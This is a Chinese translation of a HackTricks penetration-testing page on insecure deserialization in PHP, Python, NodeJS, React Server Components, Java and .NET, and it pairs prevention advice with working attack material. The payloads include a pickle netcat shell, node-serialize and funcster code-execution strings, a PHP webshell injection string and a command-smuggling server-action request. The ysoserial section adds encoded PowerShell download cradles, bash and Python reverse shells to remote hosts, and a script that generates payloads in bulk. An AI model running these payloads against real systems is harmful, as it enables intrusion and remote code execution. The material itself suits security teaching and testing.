反序列化

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

序列化 是将对象转换为可保存的格式的方法,目的是要么存储该对象,要么在通信过程中传输它。该技术通常用于确保对象可以在以后重新创建,保持其结构和状态。

反序列化 则相反,它是将以特定格式组织的数据重新构建为对象的过程。

反序列化可能很危险,因为它可能允许攻击者篡改序列化数据以执行恶意代码,或在对象重建过程中导致应用产生意外行为。

PHP

在 PHP 中,序列化和反序列化过程中会使用一些特定的魔术方法:

  • __sleep: 在对象被序列化时调用。该方法应返回一个数组,包含应被序列化的对象所有属性的名称。通常用于提交挂起的数据或执行类似的清理任务。
  • __wakeup: 在对象被反序列化时调用。用于重新建立在序列化期间可能丢失的数据库连接并执行其他重新初始化任务。
  • __unserialize: 在对象被反序列化时(如果存在)会被调用来替代 __wakeup。与 __wakeup 相比,它在反序列化过程中提供了更高的控制能力。
  • __destruct: 在对象即将被销毁或脚本结束时调用。通常用于清理任务,例如关闭文件句柄或数据库连接。
  • __toString: 允许对象被当作字符串来使用。它可以用于基于内部函数调用的读取文件或其他任务,实际上为对象提供了文本表示。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

如果查看结果,你可以看到当对象被反序列化时函数 __wakeup__destruct 会被调用。注意在一些教程中你会发现当尝试打印某个属性时会调用 __toString 函数,但显然这 不再发生

Warning

如果类实现了方法 __unserialize(array $data),则会调用它来 替代 `__wakeup()``。它允许你通过将序列化数据作为数组来反序列化对象。你可以在此方法中反序列化属性并在反序列化时执行任何必要的操作。

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

你可以在这些链接中阅读一个讲解过的 PHP 示例https://www.notsosecure.com/remote-code-execution-via-php-unserialize/https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdfhttps://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP 反序列化 + Autoload Classes

你可以滥用 PHP 的 autoload 功能来加载任意 php 文件及更多:

PHP - Deserialization + Autoload Classes

序列化引用值

如果出于某种原因你想要将一个值序列化为对 另一个已序列化值的引用,你可以:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

防止 PHP Object Injection 使用 allowed_classes

[!INFO] 对 unserialize()第二个参数$options 数组)的支持是在 PHP 7.0 中添加的。在较旧版本中该函数只接受序列化字符串,因此无法限制可能被实例化的类。

unserialize()实例化序列化流中找到的每个类,除非另有指示。自 PHP 7 起,该行为可以通过 allowed_classes 选项受限:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

如果 allowed_classes is omitted or the code runs on PHP < 7.0, 该调用就会变得 危险,因为攻击者可以构造一个滥用魔术方法(例如 __wakeup()__destruct())的 payload 来实现 Remote Code Execution (RCE)。

Real-world example: Everest Forms (WordPress) CVE-2025-52709

该 WordPress 插件 Everest Forms ≤ 3.2.2 试图通过一个辅助封装来进行防护,但忘记了旧版 PHP 版本:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

在仍运行 PHP ≤ 7.0 的服务器上,当管理员打开恶意表单提交时,这第二个分支会导致经典的 PHP Object Injection。一个最小的 exploit payload 可能如下所示:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

一旦 admin 查看该条目,对象就会被实例化并执行 SomeClass::__destruct(),导致 arbitrary code execution。

要点

  1. 始终在调用 unserialize() 时传入 ['allowed_classes' => false](或严格的白名单)。
  2. 审计防御性 wrappers — 它们经常会忘记 legacy PHP 的分支。
  3. 仅升级到 PHP ≥ 7.x 并不足够:仍然需要显式提供该选项。

PHPGGC (ysoserial for PHP)

PHPGGC 可以帮助你生成用于滥用 PHP 反序列化 的 payloads。
注意在许多情况下,你无法在应用的源代码中找到滥用反序列化的方法,但你可能能够滥用外部 PHP 扩展的代码。
因此,如有可能,检查服务器的 phpinfo()在互联网上搜索(甚至在 PHPGGCgadgets 中)一些你可以滥用的 gadget。

phar:// metadata deserialization

如果你发现了一个只是读取文件而不执行其中 php 代码的 LFI,例如使用诸如 file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()** 的函数。** 你可以尝试滥用在使用 phar 协议读取 file 时发生的 反序列化
更多信息请阅读以下文章:

phar:// deserialization

Python

Pickle

当对象被 unpickle 时,会执行函数 ___reduce___。
被利用时,服务器可能返回错误。

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

在检查 the bypass technique 之前,尝试使用 print(base64.b64encode(pickle.dumps(P(),2))) 来生成一个与 python2 兼容的对象(如果你在运行 python3)。

有关从 pickle jails 逃逸的更多信息,请参见:

Bypass Python sandboxes

Yaml & jsonpickle

以下页面介绍在 Python 的 yaml 库中滥用不安全反序列化的技术,并以一个可用于生成针对 Pickle、PyYAML、jsonpickle 和 ruamel.yaml 的 RCE 反序列化 payload 的工具作为结尾:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS 魔术函数

JS doesn’t have “magic” functions 像 PHP 或 Python 那样会在仅创建对象时就被执行。不过它有一些 functions 即使不被直接调用也会 经常被使用,例如 toString, valueOf, toJSON
如果在滥用反序列化时你能够 破坏这些函数以执行其他代码(可能借助 prototype pollutions),当它们被调用时就可能执行任意代码。

另一种在不直接调用函数的情况下触发它的 “magic” 方式 是通过 破坏由 async function 返回的对象(promise)。因为如果你将该 返回对象 转换为另一个带有名为 “then” 且类型为 function 的 propertypromise,它会仅因为被另一个 promise 返回而被 执行参见 这篇文章 了解更多信息。

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

如果你想了解该技术,请查看以下教程

NodeJS - proto & prototype Pollution

node-serialize

该库允许序列化函数。示例:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

序列化对象 将如下所示:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

你可以在例子中看到,当一个函数被序列化时,_$$ND_FUNC$$_ 标志会被附加到序列化对象上。

在文件 node-serialize/lib/serialize.js 中,你可以找到相同的标志以及代码如何使用它。

正如你在最后一段代码中看到的,如果找到该标志,则使用 eval 来反序列化函数,实质上用户输入被用于 eval 函数中

然而,仅仅序列化 一个函数 不会执行它,因为需要代码的某个部分在我们的例子中调用 y.rce,这非常不太可能
无论如何,你可以通过修改序列化对象添加一些括号,以便在对象反序列化时自动执行该序列化函数。
在下面这段代码中 注意最后的括号 以及 unserialize 函数如何自动执行该代码:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

如前所述,该库会获取 _$$ND_FUNC$$_ 之后的代码并使用 eval 执行它。因此,为了自动执行代码,你可以删除函数创建部分和最后的括号,并直接执行 JS oneliner,如下例所示:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

关于如何利用此漏洞,你可以在find here 找到 更多信息

funcster

一个值得注意的方面是 funcster 无法访问 standard built-in objects;它们不在可访问的作用域内。该限制会阻止尝试在内置对象上调用方法的代码执行,导致在使用 console.log()require(something) 等命令时出现诸如 “ReferenceError: console is not defined” 的异常。

尽管存在此限制,通过特定方法仍可以恢复对全局上下文(包括所有 standard built-in objects)的完全访问。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下代码片段重新建立访问:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

更多信息: more information read this source.

serialize-javascript

serialize-javascript 包专门用于序列化目的,不包含任何内置的反序列化功能。用户需要自行实现反序列化方法。官方示例建议直接使用 eval 来反序列化序列化的数据:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

如果这个函数用于反序列化对象你可以 轻松利用它

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

有关 more information read this source.

Cryo 库

在以下页面中,你可以找到关于如何滥用该库以执行任意命令的信息:

React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)

React Server Components (RSC) 依赖 react-server-dom-webpack (RSDW) 来解码以 multipart/form-data 发送的 server action 提交。每个 action 提交包含:

  • $ACTION_REF_<n> 部分,引用被调用的 action。
  • $ACTION_<n>:<m> 部分,其主体是 JSON,例如 {"id":"module-path#export","bound":[arg0,arg1,...]}

在版本 19.2.0 中,decodeAction(formData, serverManifest) helper 盲目信任 id string(用于选择要调用的 module export)和 bound array(作为参数)。如果攻击者能到达将请求转发到 decodeAction 的端点,他们可以在没有 React 前端的情况下,用攻击者控制的参数调用任何导出的 server action(CVE-2025-55182)。端到端的流程如下:

  1. Learn the action identifier. Bundle output、error traces 或 leaked manifests 通常会暴露诸如 app/server-actions#generateReport 的字符串。
  2. Recreate the multipart payload. 构造一个 $ACTION_REF_0 部分和一个 $ACTION_0:0 JSON body,包含 identifier 和任意参数。
  3. Let decodeAction dispatch it. 该 helper 从 serverManifest 解析模块,imports 出相应的 export,并返回一个可调用对象,服务器会立即执行该对象。

示例 payload 命中 /formaction

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

或者使用 curl:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

bound 数组直接填充 server-action 参数。在 vulnerable lab 中该 gadget 看起来像:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

攻击者无需真实的 React 客户端——任何能发出 $ACTION_* multipart 结构的 HTTP 工具都可以直接调用 server actions,并将产生的 JSON 输出串联到 RCE primitive 中。

Java - HTTP

在 Java 中,deserialization callbacks are executed during the process of deserialization。攻击者可以通过构造恶意负载触发这些回调,从而导致可能的有害操作执行。

Fingerprints

White Box

要在代码库中识别潜在的序列化漏洞,请搜索:

  • 实现了 Serializable 接口的类。
  • 使用了 java.io.ObjectInputStreamreadObjectreadUnshare 等函数。

特别注意:

  • 使用由外部用户定义参数的 XMLDecoder
  • XStreamfromXML 方法,尤其是当 XStream 版本小于或等于 1.46 时,因为其易受序列化问题影响。
  • readObject 方法配合使用的 ObjectInputStream
  • 实现诸如 readObjectreadObjectNodDatareadResolvereadExternal 的方法。
  • ObjectInputStream.readUnshared
  • 泛用的 Serializable 使用情况。

Black Box

在黑盒测试中,查找标识 java 序列化对象(源自 ObjectInputStream)的特定签名或 “Magic Bytes”:

  • 十六进制模式:AC ED 00 05
  • Base64 模式:rO0
  • HTTP 响应头的 Content-type 被设置为 application/x-java-serialized-object
  • 表示先前压缩的十六进制模式:1F 8B 08 00
  • 表示先前压缩的 Base64 模式:H4sIA
  • 具有 .faces 扩展名的 Web 文件和 faces.ViewState 参数。在 Web 应用中发现这些模式时,应按照 post about Java JSF ViewState Deserialization 中的详细说明进行检查。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

检查是否易受影响

如果你想要 learn about how does a Java Deserialized exploit work,你应该查看 Basic Java Deserialization, Java DNS Deserialization, 和 CommonsCollection1 Payload

SignedObject-gated deserialization 和 pre-auth 可达性

现代代码库有时会用 java.security.SignedObject 包裹 deserialization,并在调用 getObject()(用于反序列化内部对象)之前验证签名。这可以阻止任意顶层 gadget classes,但如果攻击者能获得有效签名(例如私钥被攻破或存在 signing oracle),仍可能被利用。此外,错误处理流程可能会为未认证用户铸造与会话绑定的令牌,从而在 pre-auth 阶段暴露原本受保护的 sinks。

有关包含请求、IoCs 和加固建议的具体案例研究,请参见:

Java Signedobject Gated Deserialization

白盒测试

你可以检查是否安装了任何已知存在漏洞的应用程序。

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

你可以尝试去 检查所有已知存在漏洞且 Ysoserial can provide an exploit for 的库。或者检查 Java-Deserialization-Cheat-Sheet 中指明的库。
你也可以使用 gadgetinspector 来搜索可被利用的 gadget chains。
运行 gadgetinspector(编译后)时,不要在意它输出的大量警告/错误,等它完成。它会把所有发现写到 gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt。请注意,gadgetinspector won’t create an exploit and it may indicate false positives

黑盒测试

使用 Burp 扩展 gadgetprobe 可以识别 哪些库可用(甚至包括版本)。有了这些信息,选择用于利用漏洞的 payload 会更容易。
Read this to learn more about GadgetProbe.
GadgetProbe 专注于 ObjectInputStream 的反序列化

使用 Burp 扩展 Java Deserialization Scanner 可以 识别可被 ysoserial 利用的有漏洞库 并对其进行 exploit
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner 专注于 ObjectInputStream 反序列化。

你也可以使用 FreddyBurp检测反序列化 漏洞。该插件不仅会检测与 ObjectInputStream 相关的漏洞,还会检测来自 JsonYml 反序列化库的漏洞。在主动模式下,它会尝试使用 sleep 或 DNS payloads 来确认这些漏洞。
You can find more information about Freddy here.

序列化测试

不只是检查服务器是否使用了某些有漏洞的库。有时你可以 修改序列化对象内的数据并绕过某些检查(例如可能为你在 webapp 中授予管理员权限)。
如果你发现一个 java 序列化对象被发送到 web application,你可以使用 SerializationDumper 以更可读的格式打印发送的序列化对象。知道你发送了哪些数据会更容易修改它并绕过某些检查。

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

当为 java.lang.Runtime.exec() 创建有效载荷时,你不能使用特殊字符,例如 “>” 或 “|” 来重定向执行的输出,使用 “$()” 来执行命令,甚至不能通过空格参数传递给命令(你可以做 echo -n "hello world",但不能做 python2 -c 'print "Hello world"')。要正确编码有效载荷,你可以 use this webpage

可以使用下面的脚本生成用于 Windows 和 Linux 的 all the possible code execution payloads,然后在易受攻击的网页上测试它们:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

你可以将 https://github.com/pwntester/SerialKillerBypassGadgetCollection 与 ysoserial 一起使用以创建更多 exploits。关于该工具的更多信息见其演讲的幻灯片: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec 可以用来生成 payloads 以利用 Java 中不同的 JsonYml 序列化库。
为了编译该项目,我需要 添加 这些 依赖项pom.xml

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

安装 maven, 并 编译 项目:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

阅读有关此 Java JSON 库的更多内容: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

实验室

为什么

Java 在许多场景中大量使用序列化,例如:

  • HTTP requests: 序列化被广泛用于参数、ViewState、cookies 等的管理。
  • RMI (Remote Method Invocation): Java RMI 协议完全依赖序列化,是 Java 应用远程通信的基石。
  • RMI over HTTP: 这种方式常被基于 Java 的厚客户端 web 应用使用,利用序列化传输所有对象通信。
  • JMX (Java Management Extensions): JMX 使用序列化在网络上传输对象。
  • Custom Protocols: 在 Java 中,常见做法是传输原始 Java 对象,这将在后续的利用示例中展示。

预防

Transient objects

实现 Serializable 的类可以将类中任何不应被序列化的对象声明为 transient。例如:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

避免序列化必须实现 Serializable 的类

在某些情况下,由于类层次结构的原因,某些 对象必须实现 Serializable 接口,这会带来意外被反序列化的风险。为防止这种情况,确保这些对象不可被反序列化——通过定义一个始终抛出异常的 final readObject() 方法来实现,如下所示:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

增强 Java 中的反序列化安全

Customizing java.io.ObjectInputStream 是保护反序列化流程的实用方法。该方法适用于:

  • 反序列化代码在你控制之下。
  • 预期进行反序列化的类是已知的。

重写 resolveClass() 方法以仅限于允许的类进行反序列化。这可以防止除明确允许的类之外的任何类被反序列化,例如下面的示例将反序列化限制为仅 Bicycle 类:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement 提供了一种在无法修改代码时的后备解决方案。该方法主要用于 blacklisting harmful classes,通过 JVM 参数:

-javaagent:name-of-agent.jar

它提供了一种动态保护 deserialization 的方式,非常适合在无法立即更改代码的环境中使用。

查看示例: rO0 by Contrast Security

Implementing Serialization Filters: Java 9 通过 ObjectInputFilter 接口引入了 serialization filters,提供了一种强大的机制,用于指定 serialized objects 在被 deserialized 之前必须满足的条件。这些过滤器可以全局应用或针对单个流配置,为 deserialization 过程提供更细粒度的控制。

要使用 serialization filters,您可以设置一个应用于所有 deserialization 操作的全局过滤器,或者为特定流动态配置。举例如下:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

利用外部库以增强安全性:像 NotSoSerialjdeserializeKryo 这样的库提供了用于控制和监控 Java 反序列化的高级功能。这些库可以提供额外的安全层,例如类的白名单或黑名单、在反序列化之前分析序列化对象,以及实现自定义的序列化策略。

  • NotSoSerial 会拦截反序列化过程以防止执行不受信任的代码。
  • jdeserialize 允许在不反序列化的情况下分析序列化的 Java 对象,帮助识别潜在的恶意内容。
  • Kryo 是一个侧重于速度和效率的替代序列化框架,提供可配置的序列化策略,从而提升安全性。

References

JNDI Injection & log4Shell

查找什么是 JNDI Injection、如何通过 RMI、CORBA & LDAP 滥用它以及如何利用 log4shell(以及该漏洞的示例)请参阅以下页面:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API 是一个用于在两个或多个客户端之间发送消息的 Java 面向消息的中间件 API。它是为解决生产者-消费者问题而实现的一种机制。JMS 是 Java Platform, Enterprise Edition (Java EE) 的一部分,由 Sun Microsystems 制定规范,随后由 Java Community Process 指导。它是一种消息标准,允许基于 Java EE 的应用组件创建、发送、接收和读取消息。它使分布式应用程序的不同组件之间的通信松耦合、可靠且异步。(摘自 Wikipedia)。

Products

有若干产品使用该中间件来发送消息:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

基本上,有一大批服务以不安全的方式使用 JMS。因此,如果你拥有向这些服务发送消息的足够权限(通常需要有效的凭证),你可能能够发送被序列化的恶意对象,这些对象会被消费者/订阅者反序列化。
这意味着在这种利用中,所有使用该消息的客户端都可能被感染。

你应该记住,即便某个服务存在漏洞(因为它不安全地反序列化用户输入),你仍需找到有效的 gadget 才能利用该漏洞。

工具 JMET 的创建目的是 连接并攻击这些服务,发送使用已知 gadgets 序列化的多个恶意对象。如果服务仍然存在漏洞且任何已用的 gadget 存在于易受攻击的应用中,这些利用将会生效。

References

.Net

在 .Net 环境中,反序列化利用的运作方式与 Java 中类似,都是通过利用 gadgets 在对象反序列化时运行特定代码。

Fingerprint

WhiteBox

应检查源代码中是否出现以下项:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

重点检查允许类型由用户可控变量确定的序列化器。

BlackBox

搜索目标应集中在 Base64 编码字符串 AAEAAAD///// 或任何可能在服务器端被反序列化并控制要反序列化类型的类似模式。这可能包括但不限于包含 TypeObject$typeJSONXML 结构。

ysoserial.net

在这种情况下,你可以使用工具 ysoserial.net创建反序列化利用代码。下载 git 仓库后,应该使用例如 Visual Studio 对该工具进行 编译

如果你想了解 ysoserial.net 是如何创建其利用的,可以查看此页面,讲解了 ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter

